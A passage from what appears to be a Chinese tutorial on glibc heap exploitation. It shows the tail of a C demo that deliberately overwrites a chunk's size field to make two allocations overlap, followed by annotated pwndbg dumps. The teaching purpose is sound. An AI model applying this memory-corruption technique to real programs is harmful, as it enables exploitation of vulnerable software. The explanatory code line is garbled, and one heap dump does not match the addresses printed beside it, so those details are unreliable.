real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);


}

具体分析

  1. (unsigned int )((unsigned char )p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) 2;执行前后p2的chunksize被修改成了p2+p3+prev_in_use
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b7e0
Size: 0x3f1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78

Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0

Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51


Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1

pwndbg> x/10gx 0x55555555bfb0
0x55555555bfb0: 0x4444444444444444 0x4444444444444444
0x55555555bfc0: 0x00000000000003f0 0x00000000000003f0
0x55555555bfd0: 0x4545454545454545 0x4545454545454545
  1. free(p2);后合并了chunk4和chunk2,并且修改了chunk5的prev_size得到一个大的free chunk,而这个free chunk覆盖了chunk3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x3f1

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555b3f0
    Size: 0xbd1
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555bfc0
    Size: 0x3f0

    Top chunk | PREV_INUSE
    Addr: 0x55555555c3b0
    Size: 0x1fc51

    wndbg> x/10gx 0x55555555bfb0
    0x55555555bfb0: 0x4444444444444444 0x4444444444444444
    0x55555555bfc0: 0x0000000000000bd0 0x00000000000003f0
    0x55555555bfd0: 0x4545454545454545 0x4545454545454545
    0x55555555bfe0: 0x4545454545454545 0x4545454545454545
  2. p6 = malloc(2000);得到前面free的大chunk

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x3f1

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559680
    Size: 0x7e1

    Free chunk (tcache) | PREV_INUSE
    Addr: 0x555555559e60
    Size: 0x3f1
    fd: 0x00

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555a250
    Size: 0x3f1

    chunk p6 from 0x55555555b400 to 0x55555555bbd8
    chunk p3 from 0x55555555b7f0 to 0x55555555bbd8
  3. 修改p6的内容即等于修改p3的内容